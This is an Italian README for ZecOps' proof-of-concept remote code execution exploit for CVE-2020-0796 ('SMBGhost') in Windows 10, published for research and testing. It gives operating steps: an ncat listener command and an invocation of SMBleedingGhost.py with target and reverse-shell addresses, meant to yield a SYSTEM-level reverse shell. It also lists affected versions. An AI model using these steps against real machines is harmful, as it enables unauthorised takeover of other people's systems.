
CVE-2020-0796 Esecuzione remota di codice POC
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli Errori degli Attaccanti
Proof of Concept di Esecuzione Remota di Codice per CVE-2020-0796 / "SMBGhost"
Risultato atteso: Reverse shell con accesso di sistema.
Inteso solo per scopi educativi e test in ambienti aziendali.
ZecOps non si assume alcuna responsabilità per il codice, utilizzalo a tuo rischio.
Contatta [email protected] se sei interessato a strumenti DFIR senza agenti per Server, Endpoint e Dispositivi Mobili per rilevare automaticamente SMBGhost e altri tipi di attacchi.
Assicurati che Python e ncat siano installati.
Esegui calc_target_offsets.bat sul computer target e regola gli offset all'inizio del file SMBleedingGhost.py secondo l'output dello script (vedi anche la nota sotto).
Esegui ncat con i seguenti argomenti della riga di comando:
ncat -lvp <port>
Dove <port> è il numero di porta su cui ncat sarà in ascolto.
Esegui SMBleedingGhost.py con i seguenti argomenti della riga di comando:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Dove <target_ip> è l'indirizzo IP del computer target vulnerabile. <reverse_shell_ip> e <reverse_shell_port> sono l'indirizzo IP e il numero di porta su cui ncat è in ascolto.
Se tutto va bene, ncat mostrerà una shell che fornisce accesso di sistema al computer target.
Nota: Potresti chiederti perché sia necessario eseguire lo script calc_target_offsets.bat sul computer target, e non vanifichi l'intero scopo dell'esecuzione remota di codice. Questi offset non sono casuali e sono gli stessi su tutte le istanze Windows della stessa versione di Windows. Si potrebbe rendere l'attacco più universale rilevando la versione di Windows target e regolando automaticamente gli offset, o non affidandosi affatto ad essi, ma è solo un POC e abbiamo fatto ciò che era più semplice. Lo consideriamo anche un aspetto positivo che il POC non sia universale e non sia comodo per usi diversi dal test e dall'istruzione.

Le versioni di Windows 10 1903 e 1909 sono interessate. Le versioni non patchate di Windows 10 1903 non sono supportate a causa di un bug di dereferenziazione null in Windows (corretto in KB4512941).
A causa della natura dello sfruttamento, il POC funziona meglio per target in esecuzione su un computer (o una VM) con un singolo processore logico. Anche i target con più di un processore logico in esecuzione in VirtualBox dovrebbero essere supportati, ma il POC è meno affidabile in questo caso. Altri target potrebbero non essere supportati. Per i dettagli, consulta il nostro writeup tecnico di seguito.